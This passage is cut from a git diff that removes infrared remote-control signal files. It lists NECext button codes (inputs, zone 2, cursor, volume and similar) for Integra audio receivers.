00 00 -command: 08 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: IN_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: INPUT:_PH -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: IN_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: INPUT:_V3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT:_VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT_V3_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VID3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: V3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: V3_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: IN_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT:_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT:(V3)_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT:_V2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT_V2_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: V2_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: IN_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT:_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT:(V2)_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT:_V1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: INPUT_V1_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: V1_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: IN_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: INPUT:(V1)_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: INPUT_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 10 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: TR_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: TR_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: TR_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: SCAN+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: TR_SCAN>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: SCAN- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: TR_SCAN<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: MODE:_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: MODE_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: 2_/_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: 2_(DIRECT) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 46 00 00 00 -# -name: INPUT_FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 46 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 46 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 47 00 00 00 -# -name: INPUT_AM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 47 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 47 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: LISTEN_MODE_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: MODE_LISTEN_MODEUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: LISTENING_MODE_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: MODE_DSP_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: LISTENING_MODE_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: MODE:_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SUR_MODE_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SP_A -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SPK_A -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SPEAKER_SET_A_ON/OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SP_B -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: SPK_B -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: SPEAKER_SET_B_ON/OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: SLEEP_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: CLEAR/SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: SLEEP_TIMER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CUR_DWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: TRACK- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 93 00 00 00 -# -name: TR_SKIP<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 93 00 00 00 -# -name: TRACK+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 94 00 00 00 -# -name: TR_SKIP>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 94 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: 0_/_DIMMER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: CLOCK -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 96 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: TEST_MENU -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: 2_TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: SPK_TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: SPEAKER_TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: SET_-_SPL -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: A._CONTROL -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9B 00 00 00 -# -name: INPUT_V6_PC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 00 00 00 -# -name: INPUT:_V5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: INPUT:_VIDEO_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: V5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: INPUT:_AUX_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: INPUT_AUX2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: VID_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: INPUT:_V4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: INPUT:_VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4_AUX_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: INPUT_V4_AUX1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: V4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: V4_AUX_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: IN_AUX -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: INPUT:_AUX_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: INPUT:(V4)_AUX_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: INPUT_AUX1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_(SELECT/ON) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE2/SEARCH/ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_DVD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_STANDBY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_TUN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_V1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_V2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_V3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_V4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: CABLE_MUSIC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MT-OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MT-ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTI-CH -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: V3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: V4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_DVD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_IRD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_MSRV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_TAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VIDEO_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2_VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_LEV_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_LEV_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: Z2_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir deleted file mode 100644 index 965ab72c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir +++ /dev/null @@ -1,404 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NET_TUNE_CH_UP -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 00 00 00 00 -# -name: Z2_PRESET_UP -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 00 00 00 00 -# -name: 